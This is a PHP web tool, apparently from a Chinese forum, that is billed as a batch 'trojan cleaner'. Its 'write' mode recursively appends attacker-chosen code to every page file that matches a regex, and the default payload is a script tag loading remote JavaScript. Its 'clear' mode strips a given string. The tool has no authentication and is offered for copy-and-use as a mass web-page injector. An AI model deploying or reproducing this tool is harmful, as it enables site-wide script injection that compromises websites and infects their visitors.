|
[e]
<?php
function gmfun($path=".")
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == "." || $v == "..") continue;
$file = $d->path."/".$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen ("$file", "a");
@fwrite($handle, "$mm");
@fclose($handle);
echo "已文件:$file\n<br>";
}
}
}
$d->close();
echo " ";
}
function qmfun($path=".")
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == "." || $v == "..") continue;
$file = $d->path."/".$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen ("$file", "rb");
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,"",$oldcontent);
$fw = fopen ("$file", "wb");
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo "已清马文件:$file\n<br>";
}
}
}
$d->close();
echo " ";
}
if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>在线批量(清马)工具php版</title><body>
<form action="<?$PHP_SELF?>?action=gm" method="post">
<table border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="25" colspan="2" bgcolor="#808080"> <div align="center"><font color="#00FF00" size="4"><font color="#000000">在线批量清马工具-写入 </font></font></div>
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">路径:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="dir" type="text" value=".">(可填相对路径)
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">文件格式:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="key" type="text" value='index\.|\.html|\.asp'>-----正则表达式匹配------
<td colspan="2" height="1"></td>
<td> </tr>
<tr>
<td height="25" bgcolor="#CCCCCC">想写入的代码:</td>
<td height="25" bgcolor="#CCCCCC"><input name="mm" type="text" size="50" value='<script src=http://baidu.com/a.js></script> '>
<td> </tr>
<tr>
<td height="25" colspan="2" bgcolor="#808080"> <div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
<td> </tr>
<tr>
<td height="25" colspan="2" bgcolor="#F0F0F0"><div align="center"><a target="_blank">Bc易晓明</a></div></td>
<td>
</tr>
</table>
</form>
<form action="<?$PHP_SELF?>?action=qm" method="post">
<table border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="25" colspan="2" bgcolor="#808080"> <div align="center"><font color="#00FF00" size="4"><font color="#000000">在线批量清马工具-</font></font><font color="#000000" size="4">清 除</font></div>
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">路径:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="dir" type="text" value=".">(可填相对路径)
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">文件格式:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="key" type="text" value='index\.|default\.|main\.|\.html'>-----正则表达式匹配------
<td colspan="2" height="1"></td>
<td> </tr>
<tr>
<td height="25" bgcolor="#CCCCCC">想清除的代码:</td>
<td height="25" bgcolor="#CCCCCC"><input name="mm" type="text" size="50" value=''>
<td> </tr>
<tr>
<td height="25" colspan="2" bgcolor="#808080"> <div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
<td> </tr>
<tr>
<td height="25" colspan="2" bgcolor="#F0F0F0"><div align="center"><a target="_blank">Bc易晓明</a> <a href="http://bbs.125.la/" target="_blank">Bc易晓明</a> </div></td>
<td>
</tr>
</table>
</form>
<p align="center">
[/e]
PHP文件 复制黏贴文本保存为 *.php
|
|